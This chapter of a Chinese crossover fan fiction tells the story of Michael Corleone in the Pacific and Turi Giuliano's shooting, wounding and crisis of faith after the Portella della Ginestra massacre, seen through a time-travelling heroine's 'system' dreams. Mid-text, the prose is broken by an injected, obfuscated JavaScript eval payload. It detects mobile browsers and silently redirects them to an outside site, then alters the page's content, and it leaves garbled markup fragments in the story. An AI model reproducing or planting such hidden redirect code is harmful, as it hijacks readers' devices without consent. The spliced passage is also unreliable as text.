1943年9月，所罗门群岛，新乔治亚岛
月亮倒映海面，海水拍打钢板。
迈克尔坐在船头。靴子沾了泥，枪上还带着沙。
他刚刚从一场登陆战中归来，失去了一个排里的两个士兵，一个不到十九岁。
“我们在这儿做什么？”有人低声问。
人在枪林弹雨之间，很容易迷失信仰与方向。一切变得麻木、模糊，仿佛只有扣动扳机才能压住心头的虚无。而这种虚无，唯有在彻底长眠的那一刻，才会真正终结。
迈克尔·柯里昂没有参与到聊天之中。
星空在头顶沉默不语，像悬在头上的旧誓言。
太平洋海风潮湿，和纽约与新罕布什尔的风不同，它带着盐、霉味，还带着一种令人倦怠的、粘稠的苦。
再过几日，他们会调往下一个岛屿。新的战壕，新的登陆。
1943年9月，西西里，蒙特莱普雷
阳光透过高窗斜斜落下，把尘埃照成一条静止的河。
图里·吉里安诺躺在修道院的石床上，腹部缠着厚厚的绷带，血早已干涸，但每一次呼吸仍像刀割般锉着肋骨。
他还活着，这是奇迹。
那时西西里仍严格实行战时食品配给制度。农民必须按政府定价将农产品上交，换取因通货膨胀而几乎一文不值的纸币。而这些被征收的粮食，最终被当地黑手党头目唐·克罗切·马洛，及其他扶植的镇长操控，倒卖至黑市，高价转售。
农民为求生存，只能冒险从黑市上用高价买回原本属于自己的食物。
而政府颁布的法令中，只禁走私，不禁黑市交易——因为那意味着所有的西西里人都要被逮捕。
那一天，吉里安诺和表弟阿斯帕努·皮肖塔一人牵着缰绳，从自家橄榄林后的羊肠小道出发。那头灰驴脾气温顺，背上驮着两只大筐，筐里铺着干燥的甘草和竹帘掩人耳目，甘草下面藏着一块巨大的羊奶奶酪。
他的姐姐订婚宴上，如果有熏火腿和香肠，就能办得比较体面。而这些，需要他们铤而走险走私奶酪到黑市交换。
他们信心十足，因为他们从小在这山间打闹，熟悉所有的秘密通道。
他们绕过一处拐角时，灌木丛里忽然传来窸窣声。吉里安诺察觉不对，刚想出声，三名宪兵已从树后冲了出来，手中步枪举得极高。
“站住！你们驮的是什么？”
皮肖塔吓得一哆嗦，缰绳一滑，灰驴一声嘶叫，惊得后退几步，筐里的甘草乱了，露出下面一块奶酪的角。
年长的宪兵看到奶酪，不由自主地吹了一个贪婪的口哨，就像恶狗看见了肥肉。
“这奶酪不错啊，配营里的通心粉刚好。小伙子，只要你们说出那个卖主的名字，我们就让你们走。”
吉里安诺和皮肖塔对视一眼，不屑于做出卖背叛的事。
他沉默片刻，伸手进上衣口袋掏出一个小布包，“我们可以交钱。你们放我们走，大家都不为难。”
年长的宪兵吐了一口痰在地上，语气讥讽地冷笑：“留着你的里拉擦屁股去吧！把证件拿出来。”
侮辱的语言和伥鬼的制服让吉里安诺怒从心头起，他不会让他们拿走他的证件，更不会把东西上交。借着取证件的缝隙，快速盘算着怎么拿出手枪，以及枪击的距离和顺序。
然而，年长的宪兵话音刚落，另一个宪兵已从腰后抽出细长的鞭子。
那是专打农民的鞭子。因为这东西，有人被打瘸了，有人内脏出血死在家里，有人被打得脑子坏掉，一辈子都种不了地。
吉里安诺目光一沉，不能让这鞭子落到自己和皮肖塔身上。
就在鞭子扬起的下一秒，山道另一头传来一阵杂乱的骡蹄声，一支商队正好从拐角处拐出，头骡扬声嘶叫，打断了空气中的杀气。
吉里安诺不动声色往边上退了一步，趁所有人视线被商队吸引时，猛地转身奔入林中，并对着皮肖塔大喊，“快跑！”宪兵对着他开枪，他几乎没有迟疑，冷静地举枪、瞄准、扣动扳机。
树林掩映间，他看到那个宪兵直直地倒了下去。
另一声枪响划破山林。他跌入一片灌木，腿一软，险些站不稳。低头一摸，指尖触到的是滚烫而黏稠的血，正从他腹部源源不断涌出。他的裤子已被血浸透。
他倒在林间，牙关咬紧，强迫自己不发出声音。
他的眼皮越来越沉，世界像在烈日下一点点融化成模糊的光。
像一块被时间融化的玻璃。
他听不清耳边的风，唯独感觉到，生命正一点点流出他的身体。
是皮肖塔，
他最忠诚的伙伴，最亲密的兄弟，脸色苍白瘦弱的皮肖塔，穿过大山，顶着烈日，躲着枪声，把他背进了修道院。
皮肖塔敲门，几乎是用尽了最后的力气，虚张声势地威胁院长，又声音嘶哑地恳求院长：“他还活着，让他活下去。”
但他流了太多的血。院长看着皮肖塔，露出一种“回天乏力”的神情，像是在说，希望你们自求多福吧。
不可思议的是，吉里安诺，就凭着修士白天喂的牛奶，晚上敷的草药，奇迹般地活了下来。
他没有告诉过任何人，在意识模糊的夜里，神靠近他的床边，语气不容置疑：
“听着，你会活下去的，图里·吉里安诺。”
那声音不是幻觉，也不是慰藉，而是神谕一样的命令。
那句话像火种一样落入他体内，在他四肢百骸中燃烧，烧出一股执念。那是本能，是求生，是一种从深渊中一次次把自己拖回来的信仰。
他记住了这句话，牢牢地，像刻进骨头里一样记住了。
第二次听到她的声音，是在吉内斯特拉山口惨案发生后的第三天。
山风在谷地里盘旋，吹得木门嘎吱作响。吉里安诺坐在牧屋里，一言不发，指尖压着报纸，按在一个小女孩的名字上。
窗外有羊咩声远远地传来，天还没黑，但整个山坡仿佛下过一场无声的雪。
他本以为自己什么都不信了。
可就在那一刻，他感受到什么东西进来了。不是风，不是人影，但他记得那种感觉。
他的后颈微微发紧，指骨缓缓收紧，像是身体先一步记起了什么。
他没有抬头，只是低声道：
“……你来了。你是来骂我，还是来杀我？”
吉内斯特拉山口事件之后，吉里安诺的信仰出现了一道裂缝。
在他成为土匪的这几年里，他能在山民、同伴、甚至神父面前挺起胸膛，很自豪地说，自己从未伤害过无辜之人的性命。
但现在，这个说法已经站不住脚了。
他看着报纸上放大的黑白照片，女人痛苦尖叫，孩子倒在血泊中，手里还攥着节日的风筝。男孩的手臂断在石头上，女孩的脑袋流了满地的血。
他第一次感到无地自容。
他屠杀穷人了，在内心深处，他再也无法抬起头来了，他无法由衷地为自己感到骄傲了。
尽管他本人并不在屠杀现场，尽管他能对天发誓，他给出明确的指令——枪口必须抬高，在群众头顶上方，只要起到恐吓作用就好了，一定不可伤人。
倪雅几乎没有任何准备，就被系统传送到第二个梦境：“牧场·信仰动摇日”。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405284|168747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她睁开眼，发现自己站在一座牧场尽头的坡地上，暮色低垂，空气中弥漫着干草混着烟灰的味道。天空被云压得很低，风呼啦啦地刮过山脊，把羊圈边的铁皮门吹得吱呀作响。
那是一处几乎被废弃的高地牧场。屋外木棚倒了一半，栅栏破旧，远处的羊群聚成一堆，仿佛也知道人世间出了什么错。牧屋是石头砌成的，烟囱还冒着若有若无的一缕烟。
牧屋门并未关严，她轻轻推门而入，门轴发出一声低哑的“咯吱”声。
屋里光线昏暗，灯芯烧得不太稳，橘黄的光投在桌上的报纸上。那一版头条标题，用极粗的黑体印着，几乎能穿透人眼：
《吉里斯特拉山口惨案：十五死五十伤，民族英雄还是恶魔屠夫？》
下面是一张黑白照片，画面中央是女人痛哭倒地，孩子们蜷缩在鲜血与尘土中，背景模糊的风筝还停在半空中，一角染了血。
图里坐在窗边的木椅上，披着羊毛毯，像是整个人都陷在那张报纸里。他的指尖压着其中一个死者的名字，指节发白，纹丝不动。
“……你来了。你是来骂我，还是来杀我？”
听到这句熟悉的问话，倪雅微微一愣。
她想起第一次梦境里，他也是这样问她，那时候他躺在修道院的病床上，奄奄一息，靠着草药和本能撑住那一口气。
而此刻，他身体上毫发无伤，她却仿佛能感受到他精神上的奄奄一息，像一根被山风吹着的蜡烛，火光尚存，却随时可能熄灭。信仰的动摇仿佛足以让这样一个神祇般的人物，从内而外，轰然坍塌。
“都不是。”倪雅在心底叹了口气，在他对面坐下，声音不高，却稳稳落在那间沉默的屋子里。
她直视他那双浅棕色的眼睛，“图里·吉里安诺，我想对你说的是——
不要因为别人的评论，或者他人的罪行，去背负那个沉重的、不属于你的十字架。”
沉默像风一样在屋内流动。
吉里安诺先是移开了视线。他没有反驳，也没有说话。只是那一瞬间，他感到一种极短暂的轻盈，像是原本压在胸口的石块被人悄悄挪开了一寸。
而也正因为那一寸解脱，他感到了羞愧。他微微低下头，嗓音压得很低：
“虽然我不在现场……但帕萨藤珀和泰拉诺瓦，是我的人。”
倪雅没有接他的话，只是轻声说出引导的话，“你心底已经有了猜测了，不是吗？”
吉里安诺尽管不愿意，也必须承认，他的人里面出了叛徒，他被唐·克罗切算计了。
基督教民主党与黑手党都不希望共产党能在西西里赢得选票，他们拉拢他，是因为穷人们爱戴他、信仰他，由他来对付善于煽动群众情绪的共产党，再适合不过了。
他把头埋低了些，声音闷闷地响起：
“结果我成了刽子手，还成了他们的遮羞布。”
不知道是不是因为这种如神祇像白布的人物都是完美主义者，仿佛自己身上有了一点污点就再也不能做人，就要碎了，要倒了。
倪雅有些恨铁不成钢，我知道你要碎了但你先别碎。别光顾着难过啊，开始想对策好吗我的神啊。
她语气里不可避免地带了一点催促，也带着现实主义者的直白：
“你以前不是每做一件大事都会给报社写信阐明原因吗？既然知道有人背叛，那就查出谁背叛你然后……”
话还没说完，就被系统紧急捂嘴，脑海中瞬间响起一串高频刺耳的警报声，像一排警车从神经末梢呼啸驶过。
“宿主请注意：禁止提前干预事件逻辑走向。当前行为已接近严重违规。请立即中止。”